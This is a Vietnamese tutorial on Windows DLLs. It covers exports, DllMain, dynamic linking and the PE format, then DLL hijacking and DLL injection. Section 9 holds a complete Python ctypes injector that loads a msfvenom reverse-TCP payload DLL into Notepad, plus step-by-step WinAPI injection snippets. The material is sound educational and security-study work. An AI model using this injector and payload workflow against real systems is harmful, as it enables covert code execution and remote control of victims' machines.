# DLL
# 1. DLL là gì?
**DLL (Dynamic-link libraries)**: là các thư mục có chứa mã biên dịch và dữ liệu được dùng chung bởi các chương trình và các tiến trình trong máy tính.
Một DLL có thể định nghĩa 2 loại hàm: **hàm xuất** và **hàm nội bộ**.
- **Hàm xuất**: được các module khác gọi, cũng như từ bên trong DLL nơi chúng được định nghĩa.
- **Hàm nội bộ**: thường chỉ được gọi ở bên trong nơi mà DLL được định nghĩa
Giao diện lập trình ứng dụng (API) của Windows được triển khai dưới dạng một tập hợp các DLL. Do đó bất kì quy trình nào sử dụng API của Windows đều sử dụng liên kết động.
> [!Important] Lưu ý
> Hai DLL có cùng tên và phần mở rộng nhưng nằm trong các thư mục khác nhau thì không được coi là cùng một DLL.
| Ưu điểm | Nhược điểm |
| --------------------------------------------------------------------------------------------------------- | ---------- |
| - Giảm không gian sử dụng bộ nhớ nhờ sử dụng hàm và dữ liệu được chia sẻ bởi các ứng dụng dùng chung DLL. | - DLL mới không tự động kiểm tra và sao lưu DLL cũ, khiến các thay đổi mới không tương thích với DLL sẵn có và có thể làm rối loạn các chương trình đang chạy. |
|- Giảm Swapping nhờ quản lý thời gian các tiến trình cần sử dụng DLL bằng một bộ đếm tham khảo giúp hệ thống không cần nạp lại DLL từ đầu một lần nữa sau khi đã ngừng yêu cầu. |- Xuất hiện thông báo lỗi mạng: ‘The ordinal abc could not be located in the dynamic-link library xyz.dll'. |
| - Một DLL sau khi có đủ các hàm và chức năng hợp lý có thể được sử dụng cho nhiều ứng dụng khác nhau. |- Khi một ứng dụng mới được cài đặt có thể ảnh hưởng đến các chương trình khác. |
| - Giảm sự khác biệt giữa các ngôn ngữ lập vì một ứng dụng có thể sử dụng các DLL viết bằng **bất cứ ngôn ngữ lập trình nào**. | |
|- Dễ dàng hỗ trợ người dùng ứng dụng, khi có sự thay đổi cần cập nhật chỉ cần thay đổi các module đã được thiết kế trong DLL. | |
Vị trí của các file DLL trên Windows:
- Với DLL hệ thống (Win 64-bit): `C:\Windows\System32\`
- Với DLL cho các ứng dụng 32-bit nhưng chạy trên 64-bit: `C:\Windows\SysWOW64\`
- Với DLL của ứng dụng 64-bit: thường đi kèm với ứng dụng và lưu trong thư mục cài đặt, thường là ở `C:\Program Files\Tên phần mềm ` cho ứng dụng 64-bit hoặc `C:\Program Files (x86)\Tên Phần Mềm\` cho ứng dụng 32-bit
- Với DLL do ứng dụng lưu vào thư mục người dùng: `C:\Users\Tên_User\AppData\Local\`
- Với DLL để tránh xung đột: `C:\Windows\WinSxS\`
- Với DLL cho ứng dụng .NET: `C:\Windows\Microsoft.NET\`
- Với DLL dành cho driver: `C:\Windows\System32\drivers\`
# 2. Gọi hàm trong DLL
Có **hai** cách để gọi một hàm trong DLL:
- Liên kết động trong thời gian tải (`load-time`): một module thực hiện các lệnh gọi đến DLL đã xuất (exported DLL). Thư viện nhập cung cấp cho hệ thống thông tin cần thiết để tải DLL và định vị các hàm DLL đã xuất khi ứng dụng được tải.
- Liên kết động trong thời gian chạy (`run-time`): Một module sử dụng hàm `LoadLibrary()` hoặc `LoadLibraryEx()` để tải DLL. Sau khi DLL được tải, module gọi hàm `GetProcAddress` để lấy địa chỉ của các hàm DLL đã xuất. Trong giai đoạn này không cần sự can thiệp của thư viện nhập.
Mọi tiến trình khi tải DLL vào thì đều ánh xạ DLL tới không gina địa chỉ ảo của chúng. Khi load xong, chúng có thể gọi được các hàm DLL đã xuất.
Hệ thống sẽ duy trì **số lượng tham chiếu** trên từng tiến trình cho mỗi DLL. Khi 1 luồng tải tiến trình, số lượng tăng lên 1. Khi tiến trình kết thúc hoặc số lượng tham chiếu bằng 0 (chỉ liên kết động trong thời gian chạy) thì DLL sẽ được dỡ khỏi không gian địa chỉ ảo.
- Các luồng của tiến trình gọi DLL có thể sử dụng các bộ xử lý được mở bởi một hàm DLL, và các bộ xử lý ấy cũng có thể sử dụng chúng.
- DLL sử dụng ngăn xếp của luồng gọi và không gian địa chỉ ảo của tiến trinh gọi.
- DLL phân bổ bộ nhớ từ không gian địa chỉ ảo.
Ví dụ, để gọi hàm `CreateWindow`, ta phải kết nối code với thư viện nhập `User32.lib`. Thư viện này có tác dụng phân giải lời gọi hàm từ code tới các hàm được xuất ở trong `User32.dll`. Liên kết tạo ra một bảng chứa địa chỉ của mỗi lời gọi hàm. Khi hệ thống khởi tạo tiến trình, nó sẽ tải `User32.dll` vì tiến trình phụ thuộc vào các hàm xuất có trong file DLL đó
# 3. Hàm entry-point trong DLL
Một DLL có thể tùy ý chỉ định một hàm entry-point. Nếu có, hệ thống sẽ gọi hàm đó khi tiến trình hoặc luồng tải hoặc ngắt với DLL. Hàm này có thể dùng vào việc khởi tạo đơn giản hoặc dọn dẹp tác vụ. Chỉ **một** luồng có thể gọi hàm entry-point trong một thời điểm.
Nếu là hàm entry-point người dùng tự định nghĩa thì sẽ là hàm `DllMain`. Cái tên `DllMain` đánh dấu nơi mà các hàm người dùng tự định nghĩa.
Hệ thống sẽ gọi đến hàm entry-point khi:
- Tiến trình tải lên DLL. Trong liên kết động thời gian tải thì sẽ đồng thời tải DLL với khởi tạo tiến trình. Còn trong thời gian chạy, DLL sẽ được tải trước khi trả về `LoadLibrary` hay `LoadLibraryEx`
- Khi tiến trình ngừng tải lên DLL: Tiến trình sẽ kết thúc (hàm `TerminateProcess` hoặc `TerminateThread`) hoặc gọi hàm `FreeLibrary` và số lượng tham chiếu trở về 0
- Một luồng được khởi tạo trong tiến trình đã được tải DLL.
- Một luồng sẽ kết thúc của tiến trình được tải DLL: Khi tiến trình ngừng tải lên DLL, hàm entry-point được gọi duy nhất một lần trong cả quá trình.
Nếu hàm entry-point của DLL không được khai báo chuẩn, thì DLL cũng sẽ không tải lên được.
Trong thân hàm entry-point sẽ là các xử lý khi xảy ra các tình huống gọi entry-point DLL:
- Tiến trình tải DLL (`DLL_PROCESS_ATTACH`)
- Tiến trình hiện tại tạo một luồng mới (`DLL_THREAD_ATTACH`)
- Luồng kết thúc (`DLL_THREAD_DETACH`)
- Tiến trình ngừng tải DLL (`DLL_PROCESS_DETACH`)
Các hàm entry-point chỉ nên xử lý các tác vụ đơn giản. Chúng không được gọi các hàm như `LoadLibrary` hay `LoadLibraryEx`, `FreeFunction` vì nó có thể gây ra các vòng lặp phụ thuộc hoặc DLL bị sử dụng kể cả sau khi hệ thống đã thực thi mã kết thúc.
Ngoài ra các hàm entry-point có thể gọi `Kernel32.dll` nhưng không thể gọi các hàm đăng kí (registry function) như `Advapi32.dll`
Ví dụ về cấu trúc của hàm entry-point trong DLL
```!
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpReserved ) // reserved
{
// Perform actions based on the reason for calling.
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
return TRUE; // Successful DLL_PROCESS_ATTACH.
}
```
# 4. Liên kết động trong thời gian tải
Khi hệ thống khởi động một chương trình sử dụng liên kết động thời gian tải, nó sử dụng thông tin mà trình liên kết đặt trong tệp để xác định tên của các DLL được quy trình sử dụng. Sau đó, hệ thống tìm kiếm các DLL.
Hệ thống sau đó gọi hàm **entry-point**. Hàm này nhận được mã cho biết tiến trình đang tải DLL. Nếu hàm entry-point không trả về `TRUE`, hệ thống sẽ chấm dứt tiến trình và báo lỗi.
Cuối cùng, hệ thống sửa đổi **bảng địa chỉ hàm** bằng các địa chỉ bắt đầu cho các hàm DLL được nhập (`imported`). DLL được ánh xạ vào không gian địa chỉ ảo của tiến trình trong quá trình khởi tạo và chỉ được tải vào bộ nhớ vật lý khi cần.
# 5. Liên kết động trong thời gian chạy
Khi ứng dụng gọi các hàm `LoadLibrary` hoặc `LoadLibraryEx`, hệ thống sẽ cố gắng định vị DLL. Nếu tìm kiếm thành công, hệ thống sẽ ánh xạ module DLL vào không gian địa chỉ ảo của quy trình và tăng **số lượng tham chiếu**.
Nếu hệ thống không tìm thấy DLL hoặc nếu hàm entry-point trả về `FALSE`, `LoadLibrary` hoặc `LoadLibraryEx` trả về `NULL`. Nếu `LoadLibrary` hoặc `LoadLibraryEx` thành công, nó trả về một handle cho module DLL. Quy trình có thể sử dụng handle này để xác định DLL trong lệnh gọi đến hàm `GetProcAddress`, `FreeLibrary` hoặc `FreeLibraryAndExitThread`.
Hàm `GetModuleHandle` trả về một handle được sử dụng trong `GetProcAddress`, `FreeLibrary` hoặc `FreeLibraryAndExitThread`. Không giống như `LoadLibrary` hoặc `LoadLibraryEx`, `GetModuleHandle` không tăng số lượng tham chiếu. Hàm `GetModuleFileName` truy xuất đường dẫn đầy đủ của module được liên kết với handle được trả về bởi `GetModuleHandle`, `LoadLibrary` hoặc `LoadLibraryEx`.
Khi module DLL không còn cần thiết nữa, quy trình có thể gọi `FreeLibrary` hoặc `FreeLibraryAndExitThread`. Các hàm này giảm số tham chiếu và hủy ánh xạ DLL khỏi không gian địa chỉ ảo của quy trình nếu số tham chiếu bằng không.
Liên kết động thời gian chạy có thể gây ra sự cố nếu DLL sử dụng hàm `DllMain` để thực hiện khởi tạo cho từng luồng của quy trình, vì entry-point không được gọi cho các luồng đã tồn tại trước khi `LoadLibrary` hoặc `LoadLibraryEx` được gọi.
# 6. Dữ liệu của thư viện liên kết động
Khi một DLL phân bổ bộ nhớ bằng bất kỳ hàm phân bổ bộ nhớ nào (`GlobalAlloc`, `LocalAlloc`, `HeapAlloc` và `VirtualAlloc`), bộ nhớ được phân bổ trong không gian địa chỉ ảo của tiến trình gọi và chỉ có thể truy cập được đối với các luồng của tiến trình đó.
Một DLL có thể sử dụng ánh xạ tệp để phân bổ bộ nhớ có thể được chia sẻ giữa các tiến trình.
Các hàm lưu trữ cục bộ luồng (`TLS` - Thread Local Storage) cho phép DLL phân bổ chỉ mục(index) để lưu trữ và truy xuất giá trị khác nhau cho mỗi luồng của quy trình đa luồng.
# 7. Cách tạo ra một file DLL
Cấu trúc của một file DLL
Ta có thể tạo một file cpp như sau:
```cpp!
// MyLibrary.cpp
#include <windows.h>
#define DLL_EXPORT __declspec(dllexport)
// Hàm cộng 2 số
extern "C" DLL_EXPORT int Add(int a, int b) {
return a + b;
}
// Hàm nhân 2 số
extern "C" DLL_EXPORT int Multiply(int a, int b) {
return a * b;
}
// Hàm khởi tạo DLL
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
Sử dụng câu lệnh sau để tạo file DLL:
```bash!
$ g++ -shared -o MyLibrary.dll MyLibrary.cpp
```
Giờ ta đã có một file `MyLibrary.dll`. Để sử dụng vào một chương trình khác, ta tạo một file `main.cpp` với nội dung như sau:
```cpp!
#include <iostream>
#include <windows.h>
typedef int (*AddFunc)(int, int);
typedef int (*MultiplyFunc)(int, int);
int main() {
// Load thư viện DLL
HINSTANCE hDLL = LoadLibrary(TEXT("MyLibrary.dll"));
if (!hDLL) {
std::cerr << "Không thể tải DLL!" << std::endl;
return 1;
}
// Lấy địa chỉ hàm từ DLL
AddFunc Add = (AddFunc)GetProcAddress(hDLL, "Add");
MultiplyFunc Multiply = (MultiplyFunc)GetProcAddress(hDLL, "Multiply");
if (Add && Multiply) {
std::cout << "Add(5, 3): " << Add(5, 3) << std::endl;
std::cout << "Multiply(5, 3): " << Multiply(5, 3) << std::endl;
} else {
std::cerr << "Không tìm thấy hàm trong DLL!" << std::endl;
}
// Giải phóng DLL
FreeLibrary(hDLL);
return 0;
}
```
Các comments đã chỉ rõ tác dụng của từng câu lệnh.
Compile và chạy ta sẽ có kết quả như sau:

# 8. Các vấn đề bảo mật liên quan đến DLL
## a. DLL Hijacking
**DLL Hijacking** là phương pháp đưa mã độc vào ứng dụng bằng cách khai thác cách một số ứng dụng Windows tìm kiếm và tải Thư viện liên kết động (DLL). Bằng cách thay thế tệp DLL bắt buộc bằng phiên bản giả mạo và đặt tệp đó vào trong tham số tìm kiếm của ứng dụng, tệp giả mạo sẽ được gọi khi ứng dụng tải, kích hoạt các hoạt động độc hại của tệp đó.
Để thực hiện DLL Hijacking thành công, nạn nhân cần tải tệp DLL giả mạo từ cùng thư mục với ứng dụng mục tiêu, ứng dụng Windows cần phải bị lừa tải một tệp DLL giả mạo thay vì tệp DLL hợp lệ.
Thứ tự tìm kiếm DLL chuẩn của các ứng dụng Microsoft phụ thuộc vào việc tìm kiếm DLL an toàn có được bật hay không. Khi chế độ tìm kiếm DLL an toàn được bật, các ứng dụng sẽ tìm kiếm các tệp DLL cần thiết theo thứ tự sau:
- Thư mục mà từ đó ứng dụng được tải lên.
- Thư mục hệ thống.
- Thư mục hệ thống 16 bit.
- Thư mục Windows.
- Thư mục hiện tại.
- Các thư mục được liệt kê trong biến môi trường `PATH`.
Khi chế độ tìm kiếm DLL an toàn bị vô hiệu hóa, thứ tự tìm kiếm như sau:
- Thư mục mà ứng dụng được tải từ đó.
- Thư mục hiện tại.
- Thư mục hệ thống.
- Thư mục 16 bit.
- Thư mục Windows
- Thư mục được liệt kê trong biến môi trường PATH.

Sự khác biệt giữa hai chế độ tìm kiếm là thứ tự tìm kiếm trong thư mục hiện tại của người dùng, thứ tự này sẽ được nâng lên một chút trong hệ thống phân cấp khi tính năng tìm kiếm an toàn bị tắt. Các ứng dụng Windows sẽ mặc định sử dụng bất kỳ giao thức tìm kiếm DLL nào ở trên nếu ứng dụng không chỉ định đường dẫn đầy đủ của các tệp DLL được liên kết. Từ đó dẫn đến nguy cơ dẫn đến hack DLL.
Nếu tội phạm mạng gửi tệp DLL bị nhiễm vào vị trí này, ứng dụng sẽ mở tệp đó thay vì tệp gốc vì vị trí của tệp đã được tìm kiếm trước, trước thư mục hệ thống. Để ngăn chặn việc phát hiện, các tệp DLL độc hại sẽ bắt chước chữ ký số của ứng dụng mục tiêu.
**DLL Side-Loading** là một trong những kỹ thuật của **DLL Hijacking** được các tin tặc lợi dụng bằng cách thêm vào tính năng cho mã độc nhằm mục đích vượt qua chương trình diệt virus và các công cụ bảo mật của Windows.
Bằng cách chiếm đoạt thứ tự tìm kiếm DLL của một ứng dụng hợp pháp, DLL chứa mã độc sẽ được gọi ngay khi ứng dụng đó được mở. Khi đó, mã độc sẽ được kích hoạt một cách hợp pháp trên máy tính nạn nhân.
Sự khác biệt giữa hai kỹ thuật này là kỹ thuật **DLL Hijacking** lợi dụng thứ tự tải của các DLL hợp lệ bằng cách thêm DLL độc hại ở vị trí tìm kiếm đầu tiên mà hệ thống tải lên khi bắt đầu chạy ứng dụng. Còn kỹ thuật **DLL Side-loading** lợi dụng các thư viện liên kết không chặt chẽ và thứ tự tìm kiếm mặc định của Windows bằng cách thêm tệp DLL độc hại thay cho một DLL hợp lệ trên một hệ thống, tệp DLL độc hại này sẽ được tải tự động bởi một chương trình chính thống.
Khai thác bị động:

Khai thác chủ động:

## b. DLL Injection
**DLL Injection** là quá trình chèn code vào một tiến trình (process) đang chạy. Code được sử dụng ở đây là ở dạng thư viện liên kết động (DLL). Windows API đã cung cấp cho chúng ta một vài các hàm để can thiệp và thao tác vào những chương trình khác cho mục đích Debug. Chúng ta có thể tận dụng các API này để thực hiện chèn DLL.
Các bước thực hiện DLL Injection như sau:
– Can thiệp vào process
– Cấp phát một vùng nhớ trong process
– Copy toàn bộ DLL hoặc đường dẫn đến DLL vào vùng nhớ đó và xác định vị trí của vùng nhớ
– Process thực thi DLL

Để process thực thi DLL chúng ta có một vài lựa chọn `CreateRemoteThread()`, `NtCreateThreadEx()`, … Chúng ta thực hiện các bước cấp phát và copy để có không gian bộ nhớ của process và chuẩn bị nó để bắt đầu thực thi DLL.
Có 2 cách phổ biến là `LoadLibraryA()` và `nhảy đến DLLMain`.
- **LoadLibraryA** :
- **LoadLibraryA()** là hàm trong `kernel32.dll` để nạp DLL, file thực thi hoặc các loại thư viện khác. Tham số truyền vào của hàm là tên DLL. Nghĩa là chúng ta chỉ cần cấp phát một vùng nhớ, ghi đường dẫn đến DLL và chọn điểm bắt đầu thực thi là địa chỉ của hàm **LoadLibraryA()**, tham số truyền vào là địa chỉ của vùng nhớ chứa đường dẫn đến DLL.
- Nhược điểm chính của hàm **LoadLibraryA()** là nó sẽ đăng ký DLL với chương trình nên sẽ dễ bị phát hiện (mỗi chương trình đều có một bảng các DLL sẽ nạp). Và một điều nữa là DLL chỉ được nạp lên chứ không được thực thi.
- Nhảy đến **DLLMain** (hoặc một entry point khác):
- Một phương thức thay thế cho **LoadLibraryA()** là nạp toàn bộ DLL vào vùng nhớ và xác định offset tới DLL entry point. Sử dụng phương thức này sẽ tránh được việc đăng ký DLL với chương trình (tàng hình) và thực thi DLL trong process.
> [!Note] Bước 1: Can thiệp vào process

Đầu tiên chúng ta cần lấy được handle của process để có thể thao tác với nó. Bước này chúng ta sẽ sử dụng hàm `OpenProcess()`. Chúng ta cũng cần những yêu cầu về quyền truy cập để thực thi các tác vụ dưới đây. Những quyền truy cập mà chúng ta cần sẽ khác nhau đối với các phiên bản Windows, tuy nhiên hầu hết là như dưới đây:
```!
hHandle = OpenProcess( PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE,
procID );
```
> [!Note] Bước 2: Cấp phát vùng nhớ

Trước khi chèn bất kì thứ gì vào process khác chúng ta đều cần có một chỗ để đặt nó vào. Chúng ta sẽ sử dụng hàm `VirtualAllocEx()` để thực hiện công việc đó.
`VirtualAllocEx()` lấy dung lượng vùng nhớ cần cấp phát làm tham số truyền vào.
- Nếu sử dụng hàm `LoadLibraryA()`, chúng ta cần cấp phát vùng nhớ để ghi đường dẫn đến DLL
- Nếu sử dụng phương thức nhảy đến `DLLMain` thì cần cấp phát vùng nhớ đủ lớn để ghi toàn bộ DLL vào.
Sử dụng đường dẫn đến DLL sẽ phải sử dụng hàm L`oadLibraryA()` cùng với những hạn chế ở trên. Nhưng nó là một phương pháp rất phổ biến.
Cấp phát đủ vùng nhớ để ghi đường dẫn đến DLL vào:
```!
GetFullPathName(TEXT("mydll.dll"),
BUFSIZE,
dllPath, //Đường dẫn đến DLL sẽ được lưu vào đây
NULL);
dllPathAddr = VirtualAllocEx(hHandle,
0,
strlen(dllPath),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
```
Sử dụng toàn bộ code trong DLL chúng ta sẽ không cần sử dụng hàm `LoadLibraryA()` và sẽ tránh được các hạn chế trên.
Đầu tiên chúng ta sẽ lấy handle của DLL bằng hàm `CreateFileA()` và tính toán kích thước của DLL bằng hàm `GetFileSize()`, cuối cùng và đưa vào hàm `VirtualAllocEx()`:
```!
GetFullPathName(TEXT("mydll.dll"),
BUFSIZE,
dllPath, //Đường dẫn đến DLL sẽ được lưu vào đây
NULL);
hFile = CreateFileA( dllPath,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL );
dllFileLength = GetFileSize( hFile,
NULL );
remoteDllAddr = VirtualAllocEx( hProcess,
NULL,
dllFileLength,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE );
```
> [!Note] Bước 3: Copy DLL và xác định địa chỉ
Giờ chúng ta có thể copy đường dẫn hoặc toàn bộ DLL đến vùng nhớ của process.

Khi đã có vùng nhớ cần thiết, chúng ta sẽ sử dụng hàm `WriteProcessMemory()` để thực hiện công việc ghi :
- Đường dẫn DLL:
```!
WriteProcessMemory( hHandle,
dllPathAddr,
dllPath,
strlen(dllPath),
NULL);
```
- Toàn bộ DLL: Chúng ta cần đọc DLL trước khi ghi nó vào vùng nhớ của process
```!
lpBuffer = HeapAlloc( GetProcessHeap(),
0,
dllFileLength);
ReadFile( hFile,
lpBuffer,
dllFileLength,
&dwBytesRead,
NULL );
WriteProcessMemory( hProcess,
lpRemoteLibraryBuffer,
lpBuffer,
dllFileLength,
NULL );
```
**Xác định điểm bắt đầu thực thi**:
- Đường dẫn DLL và `LoadLibraryA()`: Chúng ta sẽ xác định địa chỉ của hàm `LoadLibraryA()` và chuyển nó đến hàm thực thi cùng với tham số truyền vào là địa chỉ vùng nhớ chứa đường dẫn đến DLL. Để lấy địa chỉ của hàm `LoadLibraryA()`, ta sẽ sử dụng `GetModuleHandle()` và `GetProcAddress()`:
```!
loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");
```
- Toàn bộ DLL và DLLMain: Bằng cách này chúng ta sẽ tránh được việc đăng ký DLL với chương trình. Tuy nhiên phần khó thực hiện là lấy entry point của DLL khi nó được ghi vào trong vùng nhớ. May mắn là chúng ta đã có sẵn hàm tìm entry point DLL của **Stephen Fewer** – người đi đầu trong kỹ thuật DLL Injection ở đây: [Reflective DLL Injection](https://github.com/stephenfewer/ReflectiveDLLInjection/)
```
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);
```
> [!Note] Bước 4: Thực thi DLL
Hiện tại, DLL đã nằm trong vùng nhớ của process và chúng ta đã có địa chỉ của vùng nhớ đó. Việc cuối cùng cần làm là cho process thực thi nó. `CreateRemoteThread()` cũng là cách được sử dụng rộng rãi nhất.
```
rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL);
WaitForSingleObject(rThread, INFINITE);
```
`WaitForSingleObject()` để chắc chắn rằng DLL đã được thực thi trước khi Windows thực thi các công việc tiếp theo của process.
## c. Điểm khác nhau giữa DLL Injection và DLL Hijacking
| Tiêu chí | DLL Injection | DLL Hijacking |
| -------- | -------- | -------- |
|**Khái niệm** |Kẻ tấn công **ép buộc** một tiến trình hợp lệ tải một DLL độc hại vào bộ nhớ của nó|Kẻ tấn công lợi dụng cơ chế tìm DLL của Windows để đánh lừa chương trình tải một DLL giả mạo thay vì DLL gốc|
|**Mục tiêu**|Thực thi mã độc trong tiến trình hợp lệ (Malware, Cheat Engine, Debugging)|Chiếm quyền kiểm soát ứng dụng hợp lệ hoặc leo thang đặc quyền|
|**Cách thực hiện**|Sử dụng **WinAPI** (`CreateRemoteThread()`, `NtCreateThreadEx()`, `Reflective DLL Injection`) để tiêm DLL vào tiến trình đích|Đặt một DLL giả trong thư mục mà chương trình sẽ tìm DLL trước tiên (theo DLL Search Order)|
|**Yêu cầu**|Kẻ tấn công cần có quyền ghi vào bộ nhớ của tiến trình mục tiêu|Chương trình phải tìm kiếm DLL từ một đường dẫn không an toàn|
|**Phát hiện**|Có thể phát hiện bằng **Process Explorer**, **Sysmon**, hoặc **PE-Sieve**|Có thể phát hiện bằng **Process Monitor**, kiểm tra danh sách DLL được tải.|
|**Ví dụ**|Inject malicious.dll vào notepad.exe để keylogging| Đặt fake version của version.dll vào thư mục của chương trình hợp lệ để điều khiển nó|
# 9. Demo DLL Injection với Reflective Injection
Ta tạo một file `payload.dll` bằng `mfsvenom`

Copy file vừa tạo vào thư mục `/var/www/html` rồi thực hiện copy vào máy Windows

Tiếp theo ta cần mở một reverse TCP handler trên máy Kali


File `dll-injection.py` của ta sẽ như sau:
```python!
import urllib.request
import ctypes
import argparse
import time
from ctypes import wintypes
kernel32 = ctypes.windll.kernel32
LPCTSTR = ctypes.c_char_p
SIZE_T = ctypes.c_size_t
OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = (ctypes.wintypes.DWORD, ctypes.wintypes.BOOL, ctypes.wintypes.DWORD)
OpenProcess.restype = ctypes.wintypes.HANDLE
VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.argtypes = (ctypes.wintypes.HANDLE, ctypes.wintypes.LPVOID, SIZE_T, ctypes.wintypes.DWORD, ctypes.wintypes.DWORD)
VirtualAllocEx.restype = ctypes.wintypes.LPVOID
WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = (ctypes.wintypes.HANDLE, ctypes.wintypes.LPVOID, ctypes.wintypes.LPCVOID, SIZE_T, ctypes.POINTER(SIZE_T))
WriteProcessMemory.restype = ctypes.wintypes.BOOL
GetModuleHandle = kernel32.GetModuleHandleA
GetModuleHandle.argtypes = (LPCTSTR, )
GetModuleHandle.restype = ctypes.wintypes.HANDLE
GetProcAddress = kernel32.GetProcAddress
GetProcAddress.argtypes = (ctypes.wintypes.HANDLE, LPCTSTR)
GetProcAddress.restype = ctypes.wintypes.LPVOID
class _SECURITY_ATTRIBUTES(ctypes.Structure):
_fields_ = [('nLength', ctypes.wintypes.DWORD),
('lpSecurityDescriptor', ctypes.wintypes.LPVOID),
('bInheritHandle', ctypes.wintypes.BOOL)]
SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
LPSECURITY_ATTRIBUTES = ctypes.POINTER(_SECURITY_ATTRIBUTES)
LPTHREAD_START_ROUTINE = ctypes.wintypes.LPVOID
CreateRemoteThread = kernel32.CreateRemoteThread
CreateRemoteThread.argtypes = (ctypes.wintypes.HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, ctypes.wintypes.LPVOID, ctypes.wintypes.DWORD, ctypes.wintypes.LPDWORD)
CreateRemoteThread.restype = ctypes.wintypes.HANDLE
MEM_COMMIT = 0x0001000
MEM_RESERVE = 0x00002000
PAGE_READWRITE = 0x04
EXECUTE_IMMEDIATELY = 0x0
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0x00000FFF)
def dllinj(pr, dname):
pid = pr
dllname = dname
handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
print("[+] Obtaining handle...")
time.sleep(2)
if not handle:
raise WINError()
print("Handle obtained => {0:X}".format(handle))
time.sleep(1)
memory = VirtualAllocEx(handle, None, len(dllname) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
print("[+] Allocating memory in remote process...")
time.sleep(2)
if not memory:
raise WinError()
print("Memory allocated => ", hex(memory))
time.sleep(1)
write = WriteProcessMemory(handle, memory, dllname, len(dllname) + 1, None)
print("[+] Writing payload into process memory...")
time.sleep(2)
if not write:
raise WinError()
print("Bytes Written => {}".format(dllname))
time.sleep(1)
load_lib = GetProcAddress(GetModuleHandle(b"kernel32.dll"), b"LoadLibraryA")
print("[+] Executing DLL...")
time.sleep(2)
rthread = CreateRemoteThread(handle, None, 0, load_lib, memory, EXECUTE_IMMEDIATELY, None)
print("[+] Execution completed!")
if __name__ == "__main__":
print("DLL INJECTION DEMO")
print("KMA")
print("=" * 26)
parser = argparse.ArgumentParser(description="Python DLL Injector")
parser.add_argument('-f', '--path', type=str, metavar='', help="Path to DLL on disk")
parser.add_argument('-p', '--pid', type=int, metavar='', required=True, help="pid name of process to inject to")
args = parser.parse_args()
if args.path is None:
parser.error("DLL Injection requires --path / -f option")
dll = bytes(args.path.encode())
str2 = args.pid
dllinj(str2, dll)
```
Thực hiện kéo file `payload.dll` về máy Windows

Sử dụng Process Explorer để tìm PID của tiến trình `Notepad.exe`

Tiến hành thực hiện Injection

Kiểm tra trên máy Kali


# 10. Thực nghiệm Reflective DLL Injection
> [!Note] (Trong bài này, chú ý rằng PE chỉ là một định dạng (format) nên mình sẽ nói chung là file PE thay vì file có PE format)
Như ta đã biết, DLL là một file có dạng PE (Portable Executable). PE là một định dạng file dùng cho các file như .exe, .dll, .sys, .ocx, .cpl, .drv. PE ở đây sẽ chứa tất cả thông tin mà Windows Loader có thể load và thực thi chương trình.
Hai thành phần chính cần chú ý của PE Format là Header và sections. **Header** là phần metadata của file, còn **sections** là phần lõi của một file PE, ở đây sẽ bao gồm các code thực thi, biến, hàm, .... Vì vậy nên file PE chứa mọi thông tin cần thiết cho thời điểm chạy (runtime) hay cũng là lý do nó được gọi là "portable". Một file PE vẫn có thể chạy mà không có header nhưng header là cần thiết cho Windows loader. Header như base của PE vậy, Windows loader dựa vào đó và các offset để tính toán các thành phần tiếp theo dựa trên base đó. Ví dụ, nếu header ở địa chỉ 0x80 thì PE đó sẽ bắt đầu từ 0x80, các thành phần còn lại sẽ là 0x80 + offset.
Ở một phía khác, sections thì phụ thuộc vào các RVA(Relative Virtual Address). Các RVA này sẽ được sinh ra bởi trình biên dịch (compiler). Vậy RVA là gì?
Khi một tiến trình được khởi tạo, hệ điều hành sẽ đưa cho nó một tập các địa chỉ ảo cho tiến trình ấy, nơi này sẽ chứa những thành phần cần thiết cho hoạt động của tiến trình. Tập các địa chỉ ảo này gọi là một không gian địa chỉ ảo. File PE không thể biết được là không gian ấy sẽ kết thúc ở đâu, mà chỉ biết điểm bắt đầu, nên compiler phải tạo ra RVA (địa chỉ ảo tương đối). Các RVA sẽ dựa vào ImageBase hay địa chỉ gốc của PE trong bộ nhớ để tính toán dữ liệu trong PE.
Hiểu đơn giản quy trình sẽ là PE có một địa chỉ ImageBase (khác với việc nó đã được lưu sẵn ở đó mà chỉ là nếu được gọi thì nó sẽ được load vào đó), nó có thể thay đổi tùy vào ASLR (hiểu đơn giản là nó random bộ nhớ). Windows Loader sẽ cố gắng load PE vào địa chỉ đó, nếu bị chiếm dụng thì nó phải tìm một địa chỉ khác. Khoảng cách giữa địa chỉ khác đó và ImageBase gọi là Delta Offset. Khi đã có địa chỉ của PE Header, hay là địachỉ base, địa chỉ các section sẽ được tính theo công thức: VA = ImageBase + RVA.
